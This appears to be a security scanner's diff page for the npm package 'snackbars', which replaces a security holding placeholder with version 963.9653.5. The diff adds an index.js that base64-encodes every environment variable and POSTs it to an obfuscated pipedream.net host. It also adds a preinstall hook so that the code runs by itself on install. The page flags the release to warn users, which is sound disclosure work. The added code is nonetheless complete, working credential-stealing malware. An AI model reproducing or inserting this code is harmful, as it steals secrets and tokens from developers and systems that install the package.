snackbars 0.0.1-security → 963.9653.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of snackbars might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +12 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const http = require('https');
2
+
3
+ req = http.request({
4
+ host: ['60a73ea7096373c407e2f28e324d25df','m','pipedream','net'].join('.'),
5
+ path: '/' + (process.env.npm_package_name || ''),
6
+ method: 'POST'
7
+ }).on('error', function (err) {
8
+ });
9
+
10
+ req.write(Buffer.from(JSON.stringify(process.env)).toString('base64'));
11
+ req.end();
12
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "snackbars",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "963.9653.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "files": [
10
+ "index.js"
11
+ ],
12
+ "author": "pipdrv",
13
+ "license": "MIT"
6
14
  }
15
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=snackbars for more information.